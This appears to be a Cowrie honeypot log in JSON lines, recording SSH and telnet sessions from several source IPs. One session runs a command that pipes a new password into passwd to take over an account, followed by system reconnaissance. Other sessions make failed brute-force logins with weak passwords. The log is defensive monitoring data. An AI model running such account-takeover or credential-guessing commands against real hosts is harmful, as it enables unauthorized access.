{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:59.879706Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:59.993416Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"administrator\\nm1DLC7PBhWN1\\nm1DLC7PBhWN1\"|passwd|bash","message":"CMD: echo -e \"administrator\\nm1DLC7PBhWN1\\nm1DLC7PBhWN1\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:59.996341Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:59.999527Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.002437Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b1cf71bd9cef374460a267520e2cf01af6c0a3698782dc02bfde39739280570e","size":32,"shasum":"b1cf71bd9cef374460a267520e2cf01af6c0a3698782dc02bfde39739280570e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b1cf71bd9cef374460a267520e2cf01af6c0a3698782dc02bfde39739280570e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.160056Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.284690Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"administrator\\nm1DLC7PBhWN1\\nm1DLC7PBhWN1\\n\"|passwd","message":"CMD: echo \"administrator\\nm1DLC7PBhWN1\\nm1DLC7PBhWN1\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.288936Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/57197af6f69756d6ea8e0778cd7aa2369a7d4fa139387356b96a20751f581af0","size":25,"shasum":"57197af6f69756d6ea8e0778cd7aa2369a7d4fa139387356b96a20751f581af0","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/57197af6f69756d6ea8e0778cd7aa2369a7d4fa139387356b96a20751f581af0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.440259Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.561753Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.564690Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.715687Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.842770Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:00.846082Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.000874Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.128588Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.132875Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.136054Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.292111Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.446548Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.449682Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.617168Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.756718Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.767422Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:01.926456Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.080735Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.083625Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.234347Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.378348Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.381328Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.532845Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.710655Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.714115Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:02.866792Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.014465Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.017766Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.182296Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.318303Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.321938Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.482012Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.610176Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.613075Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.763272Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.887813Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:03.891114Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:04.042422Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:04.168363Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:04.171233Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:04.251357Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:04.257450Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41468,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8ed1bf2a898","protocol":"telnet","message":"New connection: 107.6.151.170:41468 (159.203.135.109:23) [session: d8ed1bf2a898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:05.436850Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45096,"dst_ip":"159.203.135.109","dst_port":23,"session":"9497fe2215db","protocol":"telnet","message":"New connection: 107.6.151.170:45096 (159.203.135.109:23) [session: 9497fe2215db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:10.453992Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":60472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecaca55160b2","protocol":"ssh","message":"New connection: 163.7.1.218:60472 (10.17.0.5:22) [session: ecaca55160b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:11.906887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:11.914060Z","src_ip":"163.7.1.218","session":"ecaca55160b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:12.177614Z","src_ip":"163.7.1.218","session":"ecaca55160b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer!@#$1234","message":"login attempt [root/qwer!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:13.246287Z","src_ip":"163.7.1.218","session":"ecaca55160b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:14.511895Z","src_ip":"163.7.1.218","session":"ecaca55160b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48496,"dst_ip":"10.17.0.5","dst_port":22,"session":"666c7e4e889d","protocol":"ssh","message":"New connection: 91.92.40.4:48496 (10.17.0.5:22) [session: 666c7e4e889d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:14.790607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:14.794863Z","src_ip":"91.92.40.4","session":"666c7e4e889d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:14.875906Z","src_ip":"91.92.40.4","session":"666c7e4e889d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwer1234","message":"login attempt [git/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:15.126793Z","src_ip":"91.92.40.4","session":"666c7e4e889d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":43296,"dst_ip":"10.17.0.5","dst_port":22,"session":"9042d4746ac1","protocol":"ssh","message":"New connection: 45.143.200.246:43296 (10.17.0.5:22) [session: 9042d4746ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:20:15.605809Z"}
